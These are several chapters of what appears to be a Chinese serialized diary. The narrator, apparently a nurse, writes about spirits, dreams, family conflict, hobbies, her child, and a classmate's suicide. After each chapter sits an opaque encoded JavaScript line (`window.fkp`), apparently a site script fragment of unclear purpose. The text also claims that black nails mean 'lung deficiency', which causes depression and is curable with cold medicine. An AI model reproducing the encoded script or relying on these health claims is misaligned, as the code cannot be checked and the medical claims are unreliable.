    那个家给我的感觉，小时候很心寒，阴暗。本来不想打心寒的，但是不知道为什么总是会出现这两个字。念佛的大婆她会跑得来说我有神经像我爸爸一样，然后奶奶会特别的不开心。但是还是好好的招待她。然后小时候的我脑子里因为这件事而出现了一条黑色的线路，把佛金哥哥给弄的生病了。没有人去指责你，但是自己看得到自己在做什么。
    她为什么要讲我有神经，因为我去那个家里玩，发现大爷身上有其他的灵魂，我没有走前去，还是看到了那个灵魂，想都想不起来。会不会是幻觉。就是一片阴暗的，然后那个场景里大婆就笑了，她的笑容并不是很快乐，我感觉，但是我判断不出好坏。然后那个时候的我很想把大爷身上的灵魂装到我身上，这是他的因果，我也不知道为什么要装到我身上。那个灵魂说好啊。然后后面他说他不敢去我家，也不敢来我的身上。后面我去找过大爷好几次，他身上的鬼也是一个爷爷，每次去我都感觉我不正常，我感觉那些的我没有脑子，但是那个鬼很厉害，没办法把他弄走。后面大爷长了瘤子。然后他死的前一天叫了佛金哥哥的名字，这是大婆讲的。后来佛金就有问题了。大爷身上的灵魂是什么，我也不知道，我只知道我在和它聊天却没有办法把它弄出来，它待在人的身上会吃人的灵魂。可是他又是很漂亮的颜色的灵魂。反正每个人都有每个人的业障因果。没有谁可以代替谁。我不记得我聊了什么了。那个灵魂有反问过我什么？他说我不太懂。想不起来。佛金哥哥对我还好吧！至少可以从他的眼睛看到我自己的样子，每次比较衰的时候，看到的那个鬼样子真的很惨。
    他的学习很好，能进奥赛的那种，然后六年级过后他没有学习了，因为家里穷。他爸爸会赌钱，有一次过年去他家看过，他爸爸的样子很不好，然后还有好多奇怪的灵魂围着他身边，小赌怡情，大赌伤身。他妈妈是大爷的女儿。然后他爸爸挂了。妈妈二婚。二婚的结局也不是很美好，奶奶说他是因为妈妈才变成这个样子的。其实他的精神状态没有问题。我妈妈说佛金哥哥长的很好看，很白，我也不知道她怎么看的，不过在我的眼里那是一种煞白煞白的那种。但是她讲的时候我没有评价，可能知道评价他会带来不好的运气。我感觉就是营养不良，但是走远了，那个脑子里出现的场景我又敢了。我也不知道为什么想起这个来，挺无语的，我看到的每个人都是我自己的样子。我眼睛里的他的样子，其实就是当年的我的样子，很白，但是这是脸色苍白，营养不良。为什么我会这样子认为？不知道，很扯吧！可能抱有同情或者同病相怜，他妈妈没有让他去上学，后来我的也没有。别人的妈妈和我说我妈妈她很希望我上学，她很难过，但是我妈妈她自己并没有讲过。很神奇的关系。所以会感觉同病相怜。他妈妈那个姑姑，不晓得。她给我的感觉也是很累很累。就是和她坐在一起过什么节日，就感觉的到她很疲惫，当然那时候的我也很疲惫。不知道什么原因。不知道为什么想起了小时候，去寺庙里的事，我不知道我求了什么，其实我没有印象，寺庙里的灵魂在和我聊天，聊的内容不知道。后面的一个场景里，好像看到了佛金哥哥在寺庙的周围，但是我感觉他那个位置应该是我的位置。算了。那个时候我想的东西是什么来着？真的有信仰吗？真的有神吗？那个场景里的僧人老师说他碰到了鬼。不知道为什么现在去回忆会看到一个黑色的女子灵魂，为什么会现在想到这个呢？以前没有发现。然后下一个场景是一起去捡板栗，他们爬树上去摘，那次佛金哥哥也爬树，后面他捡了很多，那个时候他回头望了我一眼，然后那个时候我感觉他的眼睛挺好看的，然后下一个瞬间就感觉不好看。但是去回忆起来。还是看到了那个灵魂，很奇怪的灵魂，我也不知道是好还是坏。黑色的像浓墨一样。也许这是哪一个世界的我自己？把那种童年很好的回忆给掐在了萌芽里。以免以后会有悲剧发生？可能吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第288章

    关于佛金哥哥真的是想不起来了，可能我很麻烦的时候就想的起来吧！
    今天醒来的，看到了一个明亮的灵魂说她本来就是光明磊落的。这个样子很像我，但是又不是我。
    我不晓得发生了什么。
    梦境：梦境里有一个站在黑暗里的灵魂，他的手全是流动的黑色液体，的人在拿着一本金色的小本子。他好像是没有感情一样。不知道怎么形容。很奇怪这个人。或者他不是人类。我在他的外围待着。根本靠不进他，靠近也没有意思。
    难道我还能和人家聊家常？
    梦境里下一个场景，是我老公，但是我是我老公，我老公胃痛。胃里面是一团很奇怪能量，很像我的，小小的一团。然后我就看着它。然后下一个场景，就是我丢掉的一些东西，它们又回来了，继续闹了一顿。真的是无语。
    也许从自己身体里长出来的东西就像一些念头一样，处理它们的方法不是丢掉，不是藏起来，而是接受它们。所以扔的太多了，导致我精力不济。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第289章

    今年刘块结束就，还有一个月，走需要做的事。继续教育做完。国家级，单位级，省级。然后成人本科网课上完。
    这几天要昨晚的，考试。医院的，还有护理上的题需要刷完。
    我想要学画画，如果在纸上画画素描好的话，就在家附近学写生。然后再电脑上画。这个比较安静，然后比较解压，我觉得这个比较好。本来还想捏粘土的，但是考虑家里有小孩子，怕宝宝会误吞。然后想到了一个不美妙的事，我老公给我做的粘土宝宝，被他弟弟给弄坏了。好难受，后面我老公又做了，不过这是我老公送给他弟弟的，然后他弟弟又弄坏了。所以很想要捏粘土，但是可能作品出来了，保留不了多久，会很难过。还是以后再说吧！画画就不怕了，估计我需要学很久，培养一个爱好吧！坚持下去以后我会开心的。我只是希望我开心一点点。
    我突然想到了一个小说里的故事。那个故事就是一个上班族的女士，她学了画画，一开始也是爱好，后面她特别的有天赋，然后她就收入越来越高，后面她老公出轨了，因为她老公说，因为她太有钱了，买东西给自己妈妈，都是直接买最好的，他不喜欢现在的她，以前的她没有什么钱，但是每件买给他妈妈的衣服都是精挑细选，因为用了心，而有钱的她直接买最好的给他妈妈，他认为她没有用心，所以和那位画画的女士离婚了，二婚是和原来的女士差不多的人。当时看的时候是目瞪口呆。理由居然会有那么离谱的。然后作者写她很难受。后面没有写了，真的有点离谱。
    不过我就没有那么有天分耶。自己什么水准还是有Ac数的，画着解压就行。我老公的画画技术非常好，他应该也不太可能因为我画画技术好而产生自卑感。
    这个爱好，能坚持一个月，三个月，六个月，九个月，一年，都算我出息了。优秀。
    我为了我某一瞬间的快乐，关于爱好的，我花了不少钱，买了做口红的，大概两百多，做了几只后面，没有再动过了，买了做美甲的东西，后面根本没有动过，买了化妆的，粉底液170，还有什么东西来着，后面没有动过了，买了670的魔爪，希望自己能够学摄影，而且用手机，成本会低一点。然后很少用，买了一把五百多的吉他，还买了调音器，乐谱，然后吉他我送给我弟弟了，买了一台缝纫机，用了几次，后面在家里的一个小角落里，买了做绒花的工具，然后花还没有做出来，就吃灰尘了，不过那个时候是因为有宝宝，宝宝还小，她又需要吃奶，根本没有精神。报了健身房的，坚持了一个月，买的年卡，然后后面没有去了。做了一段时间手帐，买了一些贴纸，根本没有用完，也就用了两次，还好买的少，学了做饭，现在自己一家人也不需要我做饭，所以也没有继续了。还有英语，学了一段时间，还是花钱学的，坚持了一段时间，学了什么内容，时间久了不记得了，但是那段过程很开心，这个经历让我快乐。五花八门的。缝纫机花的钱最多，我还买了做衣服的各种尺子，还买了很多的笔。那种在布上画线，然后水洗一下就可以消失的笔。一大堆。还有粘土，做了一段时间。还有书法，买了很多毛笔还有墨水，还写了很多纸，我叔叔还送了很多宣纸给我，我还没有写完。还有喜欢买花，买了一点点。因为预算太贵了，所以就舍弃了这个爱好，但是我其实还是很喜欢鲜花。然后还有做蛋糕。我做了几次吧！第一次的蛋糕非常好吃，做了很多很多，非常成功，但是我没有坚持，后面随便调了配方，做的蛋糕很硬，我就没有干了。我还喜欢做饺子，馒头，就饺子比较成功。可以买饺子皮，自己做的饺子皮像石头一样，但是很快乐，那个过程很快乐。
    回忆一下真的心情很复杂。但是那些经历是无价的，对吧！那种心流的体验是非常快乐的。但是没有学精。我能弄到什么程度呢？我也不知道。
    就像写东西也是一种爱好，只是希望自己能写完一百万。现在还有六十万。目标越来越近了。主要的目地是缓解我的压力。
    放松我经常会感觉头脑沉重的状态，这就是收获。虽然我也很像像某一些作者一样写出惊天地，泣鬼神的文章，但是我的人生经历比较平凡，人也是比较平庸。知识学的并不多，意志也不是非常坚定。所以写不了那么优质的文章。不过也可以好好学，也许以后写着写着就有了灵感呢？或者我的思维会变得更有逻辑，然后可以塑造角色。梦想还是要有的，万一实现了呢？
    我怕的就是我写完了达到了一个目标，我就不再去坚持了，会放弃。我放弃一件事是非常快的。我希望我不放弃。坚持一辈子写下去，活到老写到老。活到老学到老。但愿我画画也是如此。因为这个比较安静。不需要动来动去，运动确实可以给我带来很多好处。但是我需要人家陪着，我才去。一个人就懒。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第290章

    梦境。梦里面梦到了那个死去的同桌。
    她和我同了一天的同桌。我们上的大课。
    她和我讲了她在学生时代，以前的学校，老师不尊重她，只尊重其他人。就是她很努力的学习，很用心。但是老师只看到其他人努力的样子，没有看到她努力的样子。还说她不努力。她和我讲的话，我不太能听懂，大概的画面就是在一个学校，她坐在一间教室的角落里，还有一个人，但是那个场景就是老师说她不认真，明明别人才不认真。后面的就是学习，她明明考到了大学，但是她爸爸却跪在了她的面前，说希望她不要去学习。不要去上大学。她说明明家里有钱，为什么要这样子？好多同学都拥抱了她，只有我一个人对她说我妈妈对我很好呢！她还讲了她妈妈的，然后我不记得了。后面好多黑色纹路，哟妈妈也对我不好了。这只是一个面，被我看到的。
    我发现她的手上的指甲黑色的，可能肺虚。我看着她有点紧张，和她说她需要吃药，那段时间她也确实感冒了，很多的鼻涕。老师教的内容她也有很认真的在听。下了课，的课间，她望着窗外，她的表情，就像在闪烁着温柔的绿光一样。我以为她过去了，因为我有一段时间也这样子来的，那段时间就那样子什么也不需要想，老师教什么就做的去，慢慢的就过去了。
    我认为是因为肺虚导致的，因为它会让心情有轻微的抑郁的感觉。吃药就可以了。普通感冒药。不过我没有买给她，毕竟我真的那个时候认识几天子，然后我也没什么钱，比较穷。有钱也不晓得用。
    后面她跳河了。梦里她死亡的那天，我梦见了她，那是一个中午，然后梦见她对我说了很多话，不过我没有听懂，但是最后一句我听到了我的名字。然后就是下降进入河水里的感觉。后面就感觉自己死掉了一样，但是灵魂在另一个世界看着我。她也挂了，但是又感觉她还活着，在另一个世界的感觉。
    她在看着我。我也不知道怎么形容。后面我妈妈对我开始了很奇怪的攻击。说话做事，都特别的欠。我感觉那个时候的妈妈她就是故意要把我给激怒，但是那种激怒对我来说对她来说都没有什么好处的。
    我给她的这种行为理解为，对方死去了，但是她很恨我，因为我这个嘴欠的人，在人家那么难过的时候，很难过的时候分享自己的幸福瞬间，就像做别人的肉中刺，眼中钉一样的感觉，而且还是自己弄出来的，不是别人找的。
    后面就像自己周围的能量一直在揍自己的感觉。很强大的力量。
    那段时间我妈妈烧了很多的香。她没有什么太多的智慧，只能去求求一些神婆啊！还有各种奇怪的庙宇。请求它们能够让我度过难关，她自己讲的。她可是花了好几千呢！然后我很生气，有那笔钱还不如给我。
    他们长辈能够看到那个奇怪的灵魂，我看不到，但是我感觉得到。那个场景是外婆在讲什么。然后我站在一颗桑树下面，感觉到了奇怪的东西。外婆讲的东西，我不太听得懂。她说叫我不要怨恨妈妈。妈妈的能力也就那么大子。然后我就愣愣的看着她，我没有那种感同身受的共情能力。因为我并没有感觉到她是来关爱我的，只是在对我说教。
    然后姨也打电话来说了简单的一句。你妈妈对你很好，你不要讨厌她。
    也让我感觉莫名其妙的。
    之前发生的事，有一段是让我很难受的。我妈妈想要做房子，然后借了姨八千，后面她挣钱还掉了那八千。后面姨向她借八千。说什么投资或者是其他的事，然后她就借出去了。她究竟借了多少钱出去，我其实不知道。她就讲过这一次。后面奶奶告诉我，我姨借了别人的钱盖房子，其实她借这笔钱是为了还别人的债。然后我很不开心，因为要是我们借了人家的钱，我们还没有还，然后人家来催债，我毫无怨言，但是我们要考虑我们的情况，我们有那么多小孩子要养，那个时候学了什么，让我感觉我妈妈挣钱很辛苦，叫爷爷不要催她拿钱，希望她在那边过点好日子。然后她就借出去了。我和她讲，她说她需要面子，她做这件事让她感觉自己得到了尊重。后面我也就没有讲她了，我无言以对。我想可能她在这个家没有归属感。
    她的娘家人和她才是一家人，即使我是她的女儿其实她也没有把我当成一家人。后面用了很久很久的时间接受了这个事。然后降低对妈妈的期待。我把这段日子认为我对她的要求非常高，高到了一个很厉害的道德标准，但是她不是书上写的那样子很伟大的父母，后面，走出去了。
    然后我回忆到了这一段事情我的心理阴影吗！
    我对妈妈的我已经忘了，反正我本来就是这样子的一个人。没办法。不接受命运的安排，它也就这样子安排，你能怎么办？面对不可抗力就是接受。降低标准。降低心理预期。没有极乐的欢喜，就没有过分的悲伤。
    然后我是一个人，她也是一个人，我没有强制她的东西。我强求不来。那就这样子呗。还能怎么样？
    算命先生说我需要对妈妈有良心，需要对家婆有良心。他没有告诉我为什么？我想了很久不理解。我认为的就是，她们的样子都是自己的样子，妈妈是过去的自己，现在是现在的自己，婆婆是未来的自己。所以要有孝心。至于感情，我和妈妈会吵架的。我和家婆是互相看不顺眼的。但是她执行能力强，做饭好吃，对她儿子好好，羡慕的我都要嫉妒了。至于我妈妈，保持礼仪。保持礼貌。毕竟她虽然养了我，但是教育我的是爷爷奶奶。她花了钱，其实我也知道，所以我能做的就是让弟弟妹妹成才，她以后不会过于艰难。至于情感上，我很容易让她生气，我能怎么办！
    人与人之间的关系就是这样子复杂。奶奶说我对她有良心，不过妈妈的灵魂感觉到的没有。她并不觉得我会有良心。因为我钱没有给她，工资没有上交给她。在单身时期。因为那件她借钱的事，让我彻底的不想把钱给她，然后在实习还有刚工作一个月的时候，工资才八百。我第一个月都是我爷爷资助的，她一分钱不给，还说我没有交工资给她，而且我要买车，因为爷爷接不方便，爷爷已经很老了，但是我妈妈我还没有问她说没有钱，后面她要买，我也没有钱我没有开口，她问我要钱，那个时候自己也刚买助力车。确实没有。
    而且那段时间天天说我没有良心。那个时候好像还没有上班。实习，我都没有工资的。天天和各个左邻右舍讲。每天都有这样子的问候。这也增强了我实力单身狗的机遇。差不多的年纪的女孩子都到了谈婚论嫁的年纪，可能这也是她爱我的一种莫名其妙的方式吧！
    我只能这样子理解。毕竟那个阶段的我本来就是懵懵懂懂的一个人。家庭情况惨，其实女孩子比较吃香，人家要娶你的根本不会去考虑那么多。就算知道人家也不怕。多的是各种各样的家庭。社会有很多情况。这也是为什么要各种作妖。让人家对你退避三舍的原因。因为农村的女孩子十六七岁的样子真的媒人的门槛都会踏破。如果不是九年义乌教育和法律的存在，可能还更早。可笑可悲，没办法。
    没办法的就接受它呗！就像《寡妇门前桃花多》，无论在什么时候，都好好努力，争取活下去。无论在什么环境都努力。
    而我现在这个状态。就是恃宠而骄？忘记了自己想要买车买房白手起家，这样子一个伟大目标。现在花很多钱在这种莫名其妙的情绪里。生气了，攒久一点以后生病花钱，不开心了，买钱买衣服，老公不够暖，难道衣服还不够暖吗？你对我越冷，我越需要裹紧我的大袄子。不理智，我的理智已经到了抑郁的状态，但是我的情绪很快乐，好像被关在哪个牢里困了几百年一样，终于放出来了。各种奇奇怪怪的念头，那是一个一个冒出来。看的我触目惊心。
    算命先生说过我的人生是一个非常搞笑的。不会很伟大。那就好，我就不会有负罪感。
    我想到了张雪峰老师，他说他当年就凭借着人模人样，考进了哪一个很高大上的地方，结果进去了以后，导师发现他的性格不是导师想象的这样子。但是也风生水起。那个很难受的日子，真的能够看到他的幽默的视频是一件很幸福的事。能够挺过来。
    我希望我的兄弟姐妹都能碰到良师益友吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第291章

    梦境。梦里面是很多场景。记得哪个写哪一个，梦里面，有一个棋子的图，很像飞行棋，反正就是跳的那种。然后不是棋子在跳是人在跳。就像人是棋子一样。然后梦境里的我就在那里蹦来蹦去。根据提示跳到指定的位置，然后跳到了一个格子。就出现了下一个场景，场景里很黑暗的那种天空。然后有一个水池，水池边有我的孩子，还有其他的宝宝。梦里面他们盖了被子。我在找我的宝宝。然后下一个场景就是梦到了水帘洞。水帘洞里的猴哥他喝了很多酒，睡的半死。梦里面有人一直在叫他醒来，说他再不醒，媳妇都被人抓跑了。
    然后下一个场景就是梦到了一个黑色的男的，他向我走来。他的内心挺阴暗的，他说我不知道是哪个医疗大佬在背后，还说了啥不记得了。然后梦里的我白色的没有意识在旁边走过去，然后醒了，看了看他。然后就从梦里退出了。因为我早上闹钟还是比较多的。
    然后下一个场景，场景里一对夫妻，他们生活不协调。梦境里他们很烦恼。我不知道梦里的我们干了什么。后面他们应该好了吧！
    下一个场景。梦里面是一支恐怖的感觉的那种黑色的笔，它那种灵魂笔能量比较可怕。然后梦境里好黑，一团的。我感觉我很害怕，不过后面又好了。梦里面那支笔说像你这样子的人有七个。不过不太懂我就醒了。我的那个角色是一个白色的小孩子。她好像也没有什么太多的情绪就是一直看着。
    其他的不记得了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第292章

    居然又胖了五斤。
    我已经快像一头猪一样胖了。
    腰间的游泳圈好厚。
    真的心情很复杂。然后我本来希望我老公陪我去散步的，我老公说他好累，他在外面工作几乎跑了一整天。所以没有去成。然后我就在桌子上画画。然后随意画了一张，个人感觉满意。一朵奇怪的花，完全用线条做成的。后面宝宝也用铅笔画了很多的线条。
    我感觉我宝宝有很多的爱好都有点子像我的，她喜欢球，也喜欢画笔。完美。
    今天下班吃了好多东西。很饿的感觉。中午也吃了好多。下班吃了好多小橘子，橘子很小像一个指甲盖一样大，然后是妈妈去超市买菜送的，可能是到了吃脐橙的季节，然后那个超市老板知道这些肯定卖不出去就索性送人了吧！还算比较新鲜，因为橘子上的皮质感很好，太小不太好剥。然后还有绿色的叶子，叶子不算那种刚摘的鲜亮的绿色，应该在冷库里待了几天，是绿色的但是带有暗黄色，然后杆子有一点点轻微的干。里面还好。反正我吃了很多。瓜子磕了好多。然后还吃了两碗米饭。完了到最后，还特别的想吃东西，又吃了一些橘子。然后还吃了一块米饼。后面还想吃东西。
    上了称才有一点点清醒的感觉。可能我今天没有怎么喝水吧！我想要买一个新杯子。可是我又不想买，因为旧的杯子，它很好用，但是我很希望颜值会很好看的杯子。可是好纠结。也许我还是需要买新杯子吧！想要一个好看的，看着就开心的杯子。
    宝宝今天发现她会自己用勺子了，她的学习模仿能力还行吧！很早就特别的想自己干，我就干脆让她弄，然后经常吃了一桌子都是饭，衣服也是饭，但是她学的好快。现在居然会用勺子。还好开心。她还在学用筷子。还屁颠颠的跑的去卫生间，用自己的小脸盆洗东西，盆子里没有水就是，我感觉她应该是在她奶奶身上学来的。
    我看她用笔，她很开心。画了很多线条。我应该买一些铅笔。因为我也想学习画画。估计有她在，我是学不到什么了，但是她会开心的，对吧！
    陪她吃了一些瓜瓜。这货会撒娇了，然后撒娇要抱抱，喜欢人家抱。真的是很特别的感觉。
    我抱着她的时候感觉自己的身体很肥大，但是却没有什么力气。虚胖吧！
    吃了一些田七粉，我家公的。之前他住院了吃了一部分，后面还有好多没有吃，我想吃了它，听爸爸说他住院买这个花了一百多块钱。不要浪费了。因为以前医生说过我，可能需要吃一点这个。不要太多。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第293章

    梦境。梦境里面是一个很大的脑袋。然后这是我的。它在说话，导致我比较困。后面进入了一个地方，是山里，好像在割一些草。我看到了黄花菜的苗。梦里的我很像一个孩子割了它，但是梦里的我好像不是我，然后下一个场景进入了一个同学的家里，我把她的脸拿开，对她说，你需要的是智慧，不是聪明。但是从她的脸进入她的里面，感觉到了她的难过。我也不知道为什么。梦里的我会认为她是难受的。她的样子好像整个人都木的了，麻木的那种。所有的灵魂都收在了一起，僵住了的感觉。悲伤的一种吧！因为我经历过，所以我看她的样子会有点子懂。
    然后下一个场景就是进入了一个同事的家里，同事像一个动物一样蜷缩在一张凳子上，她我也不知道她是难受的，还是悲伤的，她老公是一个军人。军官的那种。我对她老公的印象还蛮好，他以前骑车载过我。她说很害怕战争会出现，因为她老公可能会上战场。梦里老公把手放在了她的额头上一下，梦里老公对我笑了一下，我感觉我的脖子好长，像一只长颈龙的脖子，然后皮很厚实的感觉。我没有感觉到嫉妒或者什么其他的东西。梦里的我在想，我为什么要反应为嫉妒呢？然后出了家门，看到了两个孩子背着书包回家来了，家门口还有一颗黑色树干的树。
    然后进入了下一个场景，那个场景是之前那个同学的爷爷。那个应该是回忆。我的自行车坏了，只需要什么东西砸一下就可以好，然后我就想到了慧慧的爷爷，她爷爷的店就在附近。然后我就想要她爷爷帮忙修一下，但是我没有带钱。我和他说了我爷爷的名字，也还说了我是慧慧的同学，我下次会拿钱给他。然后他给我修好了，他说三块钱。后面我就把这件事告诉了爷爷。然后后面我下次路过的时候，就给了她爷爷三块钱。那个场景里，她爷爷的灵魂很奇怪，不是梦境里灵魂奇怪。而是现实世界里灵魂奇怪。不过我也不知道他怎么个怪法子。没有办法形容。可能他当时喝多了吧！不知道为什么会梦见这个。这个和慧慧有什么关系吗？不懂。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第294章

    好像回忆到了关于慧慧的小学场景。那个场景里我想和她踢毽子。但是我一开始也只是想一想，后面等我没有想要和她踢毽子的时候，就和她一起玩了，并没有我想象中玩的那么高兴。感觉我像小丑的感觉。但是还是踢起来了，后面还有一个场景，真实回忆吧！那个场景里我说我的笔被我不小心掉了，然后我说我好害怕我爷爷会打我，我对她说的，我为什么要对她说？我也不知道。我也不晓得是梦里的笔掉了。现实世界我的笔确实被我掉了，掉了好几支。我爷爷知道了，没有讲我什么？为什么我会对她这样子讲？然后就是下一个场景就是她大学的生活发到了一些照片在网上，我看了一下，没有什么太多的感觉。因为对方太远了吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第295章

    吃好饭休息一会儿，一醒来就是下午了。梦境梦到了一个房子，然后有一团黑色的能量，很奇怪的能量，从房子里出来了。我也不太清楚是什么事？梦里面还有一个奇怪的红色的灵魂，说升迁的事。如果是叫我升迁，我又不知道我做了什么？为什么要升迁？然后我能够到哪里去呢？其实没有后台。帮了我的基本都在倒霉之中。没什么特别的情况人家一般不会闲的没事过来帮你做什么。要是去市区。市区物价高，房租贵，一个很小的单间750好贵。然后还要和崽崽分离，她在这边上学，我们在那边上班。老公说我去哪里他就去哪里？如果带了宝宝，那么市区的幼儿园花费好大。而且我们两个都是懒鬼，很晚起床的那种，如果就我一个人送宝宝上学，那么我肯定久而久之会冲老公发脾气的。划不来。家公家婆又不和我们一起。要是他们和我们在一起，成本高，然后车多。我不认为他们身体很好。很多的精力都难。然后又还有老公弟弟上幼儿园。以后还要上一年级，农村的户口，能够到县里有机会上学，已经是天大的好运气了，如果是市区，估计他没机会。然后我的资格又没有申请市区的人才公寓的资格。听说也很小。租金比县里更贵。单身狗你可以有事没事闯一闯，但是拖家带口就难了啊。如果我老公的话，还有机会，但是我一个女士，就艰难了啊！但是我老公他没有资格进入体制大专生，也不愿意和我离开太远。我也不愿意他离开太远。
    我觉得我情商一般。县级我都懵里懵懂的，市区还更难。以前有一个认识的人他儿子在bJ工作。不是我认识的人，是人家认识他，然后告诉我的。他儿子挺好的，但是年纪轻轻才三十四十岁的样子，在那里当领导，然后死掉了。他家里人很伤心。啥原因不晓得，没有问。总之，啥工作都难。这世界就没有一件不艰难的事。家公希望我有杀气。胆。我胆子小。没有杀气。我也不知道为什么没有，就是没有。我能怎么办？天生就是这个鬼样子。
    也有可能讲的是罗院。因为我看到他帮我忙了，我也不知道他帮的什么忙，他的灵魂变的颜色很好看。可能讲的他有一定。
    上午发生的事。看到了一个红色的女孩子的灵魂，不过她应该不是我的。因为感觉这家伙不是我，但是不知道为什么她待在我这里？搞不懂。
    上午讲的口红面膜？之类的东西我听不太懂。不知道人家在讲什么？我知道她们会比较拐弯抹角，但是我完全不知道人家讲的什么意思。然后就是好尴尬，我也不知道怎么反应。融入也很难，因为我真的是一个汉子一样的人。我不用面膜，也很少用什么乳之类的，虽然买了，但是不太喜欢用。我就喜欢买到来放哪里然后过期。我也不知道为什么？癖好不一样。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第296章

    梦境，昨两天的梦见了，我回家了，梦见了我要去市区，给本科生研究生搭红线，我去不了，想给他们五十岁的时候搭，然后梦里我被吃掉了。
    昨日之梦，很晚都没有睡。然后快五六点才睡一会儿。梦里面是一个房子。然后房子里住了我还有其他的人。梦见了领导，他叫我弄一个鱼竿还有一些花，然后梦里面我在房子里晒东西，还有一个人，他和我一起，感觉是一个年轻的小伙子。后面把一个花放在了旁边，然后我们走了。然后下一个梦，梦里是住宿的地方。然后有一个女孩子，她穿的衣服很好看，然后她在做美甲，她拿了什么东西给我吃，我没有吃，不小心搞到她的衣服上了，然后她就在我的面前换衣服。直接换的那种。后面来了几个人，男的，活的。他们说那个房子床的位置有问题。然后他们就去给那个女孩子换。后面的梦境，就是一个女士她穿的很漂亮衣服很美。很优雅的那种，她过来了。然后梦里面梦见了一个房间，一个白色的很美的灵魂。她在一个房间里给一个男的催眠。我的灵魂就看着她催眠。不知道什么感觉。她说的内容有的我记住了，有的我记不住。她说我是爱你的，但是以后不能爱？？？不记得了，反正那个能量一来，那个男士的头上就像出现了一只眼睛，哪只眼睛一直在看着我，然后那个白色的女士灵魂就走了。我也不知道什么意思。后面我们去了一个地方，然后领导问我，我们医院的有哪几个人，后面就在一个盒子里看到了一些字，但是没有名字。就看到了美甲笔还有美甲液。我本来想要写字的，没有想到是美甲字，所以就放下了。不知道什么意思。
    梦里的人说我要做饭了。
    然后下一个场景我醒来是在香香家门口，另一个香香。我在她家门口扔骰子。骰子里有好几个点，我该要动棋子了，后面梦里出现了黑色的老人，把我的棋子扔了。然后我就看着他，他就笑眯眯的看着我。不认识的老人家。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第297章

    本来叫我去重庆的。然后我想太远了，就不去了。十分钟考虑时间。第一感觉自己还没有想要离开的感觉。后面就和老公商量了一下，再后面就和家里人商量，家公家婆就是说领导说要去就去，他们没有意见。后面领导说不用去了。
